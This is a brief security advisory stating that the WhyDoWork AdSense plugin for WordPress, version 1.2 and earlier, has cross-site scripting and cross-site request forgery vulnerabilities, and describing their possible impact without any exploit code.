WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.

WhyDoWork AdSense plugin 1.2 and prior are vulnerable.
